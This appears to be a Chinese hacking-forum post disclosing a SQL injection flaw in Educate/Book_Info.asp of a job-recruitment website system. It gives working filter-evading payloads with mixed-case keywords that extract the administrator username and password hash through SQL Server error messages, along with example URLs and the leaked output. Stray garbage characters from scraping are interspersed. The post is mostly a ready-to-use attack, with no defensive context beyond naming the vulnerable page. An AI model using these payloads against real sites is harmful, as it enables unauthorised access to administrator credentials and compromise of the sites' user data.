网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
0 ], V6 [7 W" ^: t8 U; l- k+ _" ?
+ l# D! \9 P) k1 c3 Cexp：如下
# g9 _2 H& I! [  y1 o' f9 w查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

, k( d* d# d( v  y5 G% L$ ZMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
& A. }% h2 Q8 [1 C& W5 I# r' m+ }& Q6 ~
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
( D! R- e' V; W9 w( l
0 K1 Q  b( w  Z) n4 |% u/Educate/Book_Info.asp，行 8

http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
* Y9 Z% e$ J  ]4 T- A1 u
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
0 [3 P9 ?' D, Y8 Z
: s, ~2 T/ U7 Y5 o$ w; X将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
# Y; T! h! ]$ Z1 {; y8 g2 y
/Educate/Book_Info.asp，行 8
​